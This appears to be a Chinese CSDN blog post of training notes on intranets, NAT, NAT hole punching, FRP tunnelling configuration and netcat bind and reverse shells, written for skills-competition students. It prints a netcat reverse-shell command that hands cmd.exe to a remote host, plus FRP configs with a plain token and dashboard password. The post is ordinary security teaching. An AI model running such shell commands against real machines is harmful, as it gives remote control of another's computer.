内网穿透&端口映射&内外网反弹 shell 回顾

于 2024-05-27 18:37:35 发布
阅读量768 收藏 28
点赞数 25
分类专栏： 网络安全入门 文章标签： 信息安全 网络安全 技能大赛 职业院校 信息安全管理与评估 笔记
杭州极安云科信息技术有限公司 版权所有
本文链接：https://blog.csdn.net/qq_22406677/article/details/139050711
版权

内网穿透&端口映射&内外网反弹 shell 回顾

内网概念

  • 我们常说的内网，一般指的是非公有 IPv4 地址的网络
  • 比如学校机房里的电脑一般为私有网络，家里的网络也是私有网络

私有网络的范围与划分

ipaddressarea
A 类地址10.0.0.0～10.255.255.255
B 类地址172.16.0.0 ～172.31.255.255
C 类地址192.168.0.0～192.168.255.255

image-20220620191736728

培训、环境、资料、考证
公众号：Geek极安云科
网络安全群：624032112
网络系统管理群：223627079 
网络建设与运维群：870959784 
移动应用开发群：548238632
短视频制作群：744125867
大数据应用开发群：962141356 
物联网应用与服务群：967579409
物联网应用开发群：884879404

极安云科校企合作经理VX liuliu5488233

极安云科专注于技能提升，赋能
2024年广东省高校的技能提升，受赋能的客户院校均获奖！
2024年江苏省赛一二等奖前13名中，我们赋能客户占五支队伍！
2024年湖南省赛赋能三所院校均获奖！
2024年山东省赛赋能两所院校均获奖！
2024年湖北省赛赋能参赛院校九支队伍，共计斩获一等奖2项、三等奖7项!

外网概念

  • 外网一般持有全球唯一的 IPv4 地址
  • 比如我的腾讯云服务器：114.132.218.55

为什么要讲内外网？

  • 内网 IP 可达外网 IP，与之交互
  • 外网 IP 则无法直接找到内网 IP

Netcat 实验

  • 内网连接内网(正、反)
  • 内网连接外网(反)
  • 外网连接内网(正)
  • 外网连接外网(正、反)
被攻击 PCOur PCexplanation
nc -e cmd.exe -lvnp 1234nc 10.10.10.1 1234正向 shell
nc -e cmd.exe 10.10.10.4 1234nc -lvnp 1234反向 shell

NAT 概念

网络地址转换（Network Address Translation，NAT）

NAT 是一种将私有（保留）地址转化为合法 IP 地址的转换技术

  • 它被广泛应用于各种类型 Internet 接入方式和各种类型的网络中
  • NAT 可以完成重用地址，并且对于内部的网络结构可以实现对外隐蔽。
  • NAT 设备自动屏蔽了非内网主机主动发起的连接

为什么要使用 NAT

	IPv4 网络地址紧缺，从而出现了私有网段，来补充地址，但私有网段不可访问 internet 所以出现了 NAT 地址转换，将私有地址，转换为公网 IP 从而访问 internet
	NAT 的作用也就在于：将私有IP地址，转化为公网的合法 IP

NAT 实验解析

端口映射

该理论已被收录至空间安全理论

内网穿透

内网穿透，也叫 NAT 穿透

进行内网穿透的目的：使用内网穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包，不被 NAT 设备屏蔽而正确路由到内网主机

应用在身边的内网穿透技术

  • 电脑两节点音频接收、转发
  • …

为什么要使用内网穿透

  • NAT 设备自动屏蔽了非内网主机主动发起的连接。从外网发往内网的数据包将被 NAT设备丢弃
  • 位于不同 NAT 设备之后的主机之间无法直接交换信息
  • 外部主机要与内网主机相互通信，必须由内网主机主动发起连接
  • 虽然保护了内网主机免于来自外部网络的攻击，另一方面也为 P2P 通信带来了一定困难

穿透模拟-通信双方一台 PC 位于 NAT 之后

环境：

PC A：拥有内网 IP，能够出网(NAT 转换)
PC B：拥有公网 IP，能够直接出网

如下图一般：

image-20220701130854572

  • PC A 位于 NAT 之后，并有用 IP 地址和对应端口 192.168.1.100:1234
  • PC B 位于 NAT 之前，并拥有 IP 地址和对应端口 218.5.18.2:1234
  • PC A 出网借助 NAT 转换，公网地址为 114.5.2.3
  • 由于 PC B 有一个公网 IP，所以 PC A 可以直接通过 TCP 协议连接到它的 IP 地址 ``
  • 然而如果 PC B 向 PC A 主动发起连接，则不会成功

此时就需要一个公有的服务器辅助进行内网穿透

  1. PC A 和 PC B 向服务器发起登录请求，并保持一个 TCP 或 UDP 连接
  2. 服务器记录他俩的 IP 地址和端口号

这里服务器对 PC A 是记录经过 NAT 转换之后的 IP 和端口号

  1. 当 PC B 想连接 PC A 时，首先向服务器提出请求，服务器在收到请求后向 PC A 发出打洞命令，并讲 PC B 的 IP 地址和端口号发送给 PC A
  2. PC A 根据收到 IP 地址和端口号向 PC B 发起 TCP 或 UDP 连接
  3. 最终 PC A 和 PC B 之间便可建立数据传输通道

穿透模拟-通信双方 PC 都位于 NAT 之后

环境：

两台主机都处于内网中，拥有出网条件(NAT 转换)

如下图一般：

image-20220701133313030

  • PCA 位于 NAT 之后，并有用 IP 地址和对应端口 192.168.1.100:1234
  • PCB 位于 NAT 之后，并拥有 IP 地址和对应端口 172.24.1.100:6000
  • PCA 出网借助 NATA 转换，公网地址为 218.5.18.2:51200
  • PCA 出网借助 NATB 转换，公网地址为 114.5.2.3:5000

服务器记录的 IP:端口 是 PCA 和 PCB 经过 NAT 转换之后的 IP:端口

此时，PCA 和 PCB 之间任意一方的连接请求都会被对方的 NAT 设备屏蔽

  1. PC A 首先向服务器提出连接请求，服务器将 PCA 的 NAT 218.5.18.2:51200 发送给 PCB，并向 PCB 发出打洞命令
  2. PCB 收到服务器的打洞命令后，首先向 PCA 的 NAT 地址 218.5.18.2:51200 发送一定数目的 UDP 探测包或 TCP 连接请求，然后在 NATB 上打一个方向为 218.5.18.2:51200 的洞
  3. PCB 向服务器报告打洞完成
  4. 服务器收到 PCB 的报告后，将 PCB 的公网 IP 地址和端口号 114.32.4.251:5000 发送给 PCA
  5. 此时 NATB 以及留下对应于 NATA 的 218.5.18.2:51200 洞，PCA 向 114.32.4.251:5000 将不会被丢弃 (这与端口映射的原理很相似)

内网穿透原理总结

  • NAT设备（或软件）维护一个状态表，用来把内部网络的私有 IP 地址映射到外部网络的合法 IP 地址上去

  • 每个包头中的 IP 地址和端口信息在 NAT 设备（或软件）中都被修改并翻译成一正确的 IP 地址发往下一级

  • 当一个内网主机通过 NAT 打开一个“外出”的 TCP 或 UDP 会话时，NAPT 分配给这个会话一个公网 IP 和端口，用来接收外网的响应的数据包，并经过转换通知内部网的主机

  • 这样，NAPT在 [私有IP：私有端口] 和 [公网IP：公网端口] 之间建立了一个端口绑定。

应用 FRP 内网穿透技术-使 PC 达到公网可寻

FRP Server 端配置

[common]
bind_port = 7000
dashboard_port = 7500
token = qwese.
dashboard_user = admin
dashboard_pwd = qwese.
vhost_http_port = 10080
vhost_https_port = 10443
tls_enable = true

FRP Client 端配置

client 端也就是我们要端口映射的对象，这里映射为 HTTP 协议

[common]
server_addr =114.132.218.55
server_port = 7000
token = qwese.

[perse.windowsPC-http2]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 9002

image-20220701160420035

应用 FRP 点对点内网穿透技术-PC 达到公网可寻

http://blog.demon.ren/685.htm

后言

我自己想了一下，我没敢去看，上次那课实在是讲太烂了

我也是第一次讲课，很多地方没有讲好，这是没法避免的，所以我也尽力在让自己讲好，在改变

所有学习的过程都是这样，不一定是在安全技术上

不能说，学安全就高人一等，学艺术，学文学，学数学，学哲学就高人一等

而是我们能否在学习的过程中，保持一个学徒的心

都说人看的多了，学的多了，就知道自己的渺小了，因为眼界和想法跟以前不一样

虽然我们的课听的人少，但是我也希望能把技术和思路都尽数教给大家，虽然我们的技术不在一个层面，哈哈这是时间的问题，我相信大家总有一天说不定也能超过我

再说说为什么我们叫深蓝网络安全啊，先前我和你们坤哥创建了这么一个安全团队，但实际上就咋一个老 B 登在负责安全方面的一些技术，咋们之前本来想叫个 Perse 安全，意为恒心，希望在学习安全技术上，能够保持初心，啊不要去碰黑产对吧，同样也不要去做一些破坏他人安全和隐私的事，我们学这些说大了是为了国家网络空间安全，说小了哎，就是我想学，想装逼，想赚钱

但是我也希望能把技术和思路都尽数教给大家，虽然我们的技术不在一个层面，哈哈这是时间的问题，我相信大家总有一天说不定也能超过我

再说说为什么我们叫深蓝网络安全啊，先前我和你们坤哥创建了这么一个安全团队，但实际上就咋一个老 B 登在负责安全方面的一些技术，咋们之前本来想叫个 Perse 安全，意为恒心，希望在学习安全技术上，能够保持初心，啊不要去碰黑产对吧，同样也不要去做一些破坏他人安全和隐私的事，我们学这些说大了是为了国家网络空间安全，说小了哎，就是我想学，想装逼，想赚钱

所以我希望大家，能够多多评论和思考以及多问一些问题，并去实践我们每节课的演练过程

Geek极安云科
关注
  • 25
    点赞
  • 踩
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
博客
信息安全管理与评估DCST-6000B-Pro神州数码堡垒机沙箱连接教程
03-08 1727
产品概述DCST-6000B-Pro 安全沙盒 是神州数码新一代信息安全实训平台，平台以虚拟化技术为基础，以课程资源、虚机实操、教学考评、人才培养为核心，将真实教学与虚拟场景结合转化，完善和提升人才培养实训和实践教学能力，助力信息安全人才培养。产品特点1、提供在线教学功能DCST-6000B-Pro安全沙盒为计算机及网络安全教育提供多系统平台的教学课件，在教学、培训过程中，根据需要可以启动基于不同操作系统平台的教学课件，满足所有教学环境的需求。2、丰富完整的实验课件。
博客
Volatility3内存取证工具安装及入门在Linux下的安装教程
12-11 3660
Volatility 是一个完全开源的工具，用于从内存 (RAM) 样本中提取数字工件。支持Windows，Linux，MaC，Android等多类型操作系统系统的内存取证。针对竞赛这块（CTF、技能大赛等）基本上都是用在Misc方向的取证题上面，很多没有听说过或者不会用这款工具的同学在打比赛的时候就很难受。以前很多赛项都是使用vol2.6都可以完成，但是由于操作系统更新，部分系统2.6已经不支持了，如：Win10 等镜像，而Volatility3是支持这些新版本操作系统的。
博客
Kali Linux下Volatility2.6常见问题疑难杂症-内存取证信息安全管理与评估
11-24 3685
Kali Linux下Volatility2.6常见问题疑难杂症-信息安全管理与评估Volatility为开源项目，旧版本kali不集成此工具，此处用2.6为例，2.6版本是基于python2的环境。GiitHub地址：使用python2运行vol.py -f上镜像,发现一堆报错，但是有些功能还是可以正常使用
博客
Windows应急响应0基础讲解国赛信安管理与评估二阶段
11-22 2265
遇到的比较多的还是Web的日志比较多，很多省赛以及22 23国赛都是Web的日志，如果出了Windows的，那flag基本上都是藏在计划任务 事件日志 这些地方，且极大可能会出中间件日志的题目，那么今天给大家讲一下关于Windows的应急响应。常见的应急响应事件分类：Web 入侵：网页挂马、主页篡改、Webshell系统入侵：病毒木马、勒索软件、远控后门。
博客
Web应急响应0基础讲解国赛信安管理与评估二阶段
10-22 1895
针对信安评估这个赛项来讲，应急响应部分基本上都是基于Win/Linux的，包括但不限于各类服务 中间件 操作系统等，一般来讲，遇到的比较多的还是Web的日志比较多，很多省赛以及22 23国赛都是Web的日志赛题还是老几样，无非就是：提交攻击者的IP地址，者首次攻击成功的时间，操作系统版本，后门路径，可以进程等，那么大致方向确定了，其实也可以进行练习了。常见的三种备赛练习方式：1.自己/他人打自己靶机溯源：常见的攻击手法进行攻击后看靶机的日志等进行溯源。
博客
2023国赛信息安全管理与评估样题及规程解读
07-20 1万+
大家都知道该赛项的规程和样题向来都是模棱两可，从来不说具体的内容，导致选手在备赛时没有头绪，不知道该怎么训练，到了赛时发现题目和备赛的时候完全不一样！那么本文将以往年信息安全管理与评估赛项经验来解读今年2023年国赛的规程，帮助选手们指明方向，不再为备赛却没有头绪而烦恼！
博客
Volatility2.6内存取证工具安装及入门
05-11 5862
Volatility 是一个完全开源的工具，用于从内存 (RAM) 样本中提取数字工件。支持Windows，Linux，MaC，Android等多类型操作系统系统的内存取证。那么针对竞赛这块（CTF、技能大赛等）基本上都是用在Misc方向的取证题上面，很多没有听说过或者不会用这款工具的同学在打比赛的时候就很难受。当然，这款工具在安装的时候也是非常难受，一大堆报错会让你很崩溃，但是你搞定这些事后对你的取证赛题将会突飞猛进！后续我也会更新解决各种疑难杂症报错的解决方案给大家。
博客
2024年宜春市中职“网络建设与运维”竞赛说明竞赛试题
06-14 1061
1.将此服务器配置为数据库服务器，创建数据库为School，在库中创建表为Score，在表中创建2个用户，分别为（1，suser1，1999-6-1，female），（2，msser2，2000-9-1，male），口令与用户名相同，表结构如下；2、建立虚拟用户 ftp1 及 ftp2，密码均为123456；1.安装DHCP服务，为服务器网段部分主机动态分配IPv4地址，建立作用域，作用域的名称为dhcpserv，地址池为210-215，仅允许“服务器2”的服务器获取DHCP服务器的最后一个地址；
博客
2023年全国职业院校技能大赛“大数据应用开发”赛项第三套样题
06-04 833
大数据应用开发高等职业教育组GZ033大数据时代背景下，电商经营模式发生很大改变。在传统运营模式中，缺乏数据积累，人们在做出一些决策行为过程中，更多是凭借个人经验和直觉，发展路径比较自我封闭。而大数据时代，为人们提供一种全新的思路，通过大量的数据分析得出的结果将更加现实和准确。商家可以对客户的消费行为信息数据进行收集和整理，比如消费者购买产品的花费、选择产品的渠道、偏好产品的类型、产品回购周期、购买产品的目的、消费者家庭背景、工作和生活环境、个人消费观和价值观等。
博客
2023年全国职业院校技能大赛“大数据应用开发”赛项第二套样题
06-04 600
大数据应用开发高等职业教育组GZ033大数据时代背景下，电商经营模式发生很大改变。在传统运营模式中，缺乏数据积累，人们在做出一些决策行为过程中，更多是凭借个人经验和直觉，发展路径比较自我封闭。而大数据时代，为人们提供一种全新的思路，通过大量的数据分析得出的结果将更加现实和准确。商家可以对客户的消费行为信息数据进行收集和整理，比如消费者购买产品的花费、选择产品的渠道、偏好产品的类型、产品回购周期、购买产品的目的、消费者家庭背景、工作和生活环境、个人消费观和价值观等。
博客
2023年全国职业院校技能大赛“大数据应用开发”赛项第一套样题
05-30 833
大数据应用开发高等职业教育组GZ033大数据时代背景下，电商经营模式发生很大改变。在传统运营模式中，缺乏数据积累，人们在做出一些决策行为过程中，更多是凭借个人经验和直觉，发展路径比较自我封闭。而大数据时代，为人们提供一种全新的思路，通过大量的数据分析得出的结果将更加现实和准确。商家可以对客户的消费行为信息数据进行收集和整理，比如消费者购买产品的花费、选择产品的渠道、偏好产品的类型、产品回购周期、购买产品的目的、消费者家庭背景、工作和生活环境、个人消费观和价值观等。
博客
2023年全国职业院校技能大赛“大数据应用开发”赛项正式赛卷
05-30 1119
大数据应用开发高等职业教育组GZ033大数据时代背景下，电商经营模式发生很大改变。在传统运营模式中，缺乏数据积累，人们在做出一些决策行为过程中，更多是凭借个人经验和直觉，发展路径比较自我封闭。而大数据时代，为人们提供一种全新的思路，通过大量的数据分析得出的结果将更加现实和准确。商家可以对客户的消费行为信息数据进行收集和整理，比如消费者购买产品的花费、选择产品的渠道、偏好产品的类型、产品回购周期、购买产品的目的、消费者家庭背景、工作和生活环境、个人消费观和价值观等。
博客
2018 年山东省职业院校技能大赛高职组“信息安全管理与评估”赛项任务书
05-29 864
注意6：每队初始分100分，每提交1次对手靶机的Flag值增加10分，每当被对手提交1次自身靶机的Flag值扣除10分，每个对手靶机的Flag值只能提交一次。为了合理利用网络出口带宽，需要对内网用户访问Internet进行流量控制，园区总出口带宽为200M，对除无线用户以外的用户限制带宽，每天上午9:00 到下午6:00每个IP最大下载速率为2Mbps，上传速率为1Mbps；在这个环节里，各位选手需要继续保护你的服务器免受各类黑客的攻击，你可以继续加固你的服务器，你也可以选择攻击其他组的保护服务器。
博客
2022年全国职业院校技能大赛高职组“信息安全管理与评估”赛项第三阶段任务书
05-29 531
请获取FTP服务器上对应的应用程序，连接Pwn1服务器的10000端口，对服务器进行漏洞利用，找出其中隐藏的flag，并将flag提交。请获取FTP服务器上对应的应用程序，连接Pwn2服务器的10001端口，对服务器进行漏洞利用，找出其中隐藏的flag，并将flag提交。flag格式 flag{}（30分）请获取FTP服务器上对应的文件进行分析，找出其中隐藏的flag，并将flag提交。图1 网络拓扑结构图。通过找到正确的flag值来获取得分，它的格式如下所示：flag{}
博客
2022年全国职业院校技能大赛高职组“信息安全管理与评估”赛项第二阶段任务书
05-28 871
A集团的WebServer服务器被黑客入侵，该服务器的应用系统被上传恶意软件，重要文件被破坏，作为一个信息安全工程师需要针对企业发生的网络安全事件启动应急响应，根据企业提供的环境信息进行数据取证调查，调查服务器被黑客攻击的相关信息，发现被黑客放置在服务器上的恶意软件或后门程序，分析黑客如何入侵进服务器。A集团工作人员截获了含有攻击行为的网络数据包，请根据A集团提供的网络数据包文件，分析数据包中的恶意的攻击行为，按答题卡的要求完成该部分的工作任务。竞赛有固定的开始和结束时间，选手必须决定如何有效的分配时间。
博客
2022年全国职业院校技能大赛高职组“信息安全管理与评估”赛项第一阶段任务书
05-28 1168
20.NETWORK 1开启内置portal+本地认证的认证方式，账号为 GUEST密码为123456，保障无线信息的覆盖性，无线AP的发射功率设置为90%。39.建立防盗链规则“http盗链”，防止www.2022skills.com网站资源被其他网站利用，通过Referer方式检测，设置严重级别为中级，优先级为1，一经发现阻断并保存日志发送邮件告警;FW要求内网每个IP限制会话数量为300；业务内部终端相互二层隔离，启用环路检测，环路检测的时间间隔为10s，发现环路以后关闭该端口，恢复时间为30分钟；
博客
NAT 网络转换
05-27 316
IPv4 网络地址紧缺，从而出现了私有网段，来补充地址，但私有网段不课访问 internet 所以出现了 NAT 地址转换，将私有地址，转换为公网 IP 从而访问 internetNAT 的作用也就在于：将私有IP地址，转化为公网的合法 IP。
博客
【题目】2023年全国职业院校技能大赛 GZ073 网络系统管理赛项赛题第8套B模块
05-26 935
规划多区域组网，区域0（R1、R2、S1、S2），区域1（S1、S2、AC1、AC2）；优化OSPF配置尽量加快OSPF收敛，AC1与AC2不参与DR/BDR的选举，尽可能精简AC1和AC2的路由表条目，重发布路由进OSPF域中使用类型1；10.S1、S2、R1、R2、R3使用BGP路由协议，总部为AS100，分部为AS200；R2为备设备，优先级120；2.局域网接入设备启用环路检测功能，规避不同设备间、同一设备不同端口、同一设备单点下的多种环路现象，检测环路后处理方式为shutdown-port；
博客
【题目】2023年全国职业院校技能大赛 GZ073 网络系统管理赛项赛题第9套A模块
05-26 926
出口网关上进行NAT配置实现本部与分校的所有用户均可访问互联网，通过NAPT方式将内网用户IP地址转换到互联网接口上，同时总部用户仅可在周一到周五工作时间09：00-17:00（命名为work）访问互联网；在本部EG1上配置，使本部核心交换S4（11.1.0.34）设备的SSH服务可以通过互联网被访问，将其地址映射至联通线路上，映射地址为20.1.0.2；S3、S4、EG1、AC1、AC2间运行OSPF，进程号为10，规划多区域：区域0（S3、S4、EG1），区域1（S3、S4、AC1、AC2）；
博客
【题目】2023年全国职业院校技能大赛 GZ073 网络系统管理赛项赛题第8套A模块
05-25 861
规划多区域组网，区域0（R1、R2、S1、S2），区域1（S1、S2、AC1、AC2）；优化OSPF配置尽量加快OSPF收敛，AC1与AC2不参与DR/BDR的选举，尽可能精简AC1和AC2的路由表条目，重发布路由进OSPF域中使用类型1；10.S1、S2、R1、R2、R3使用BGP路由协议，总部为AS100，分部为AS200；R2为备设备，优先级120；2.局域网接入设备启用环路检测功能，规避不同设备间、同一设备不同端口、同一设备单点下的多种环路现象，检测环路后处理方式为shutdown-port；

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值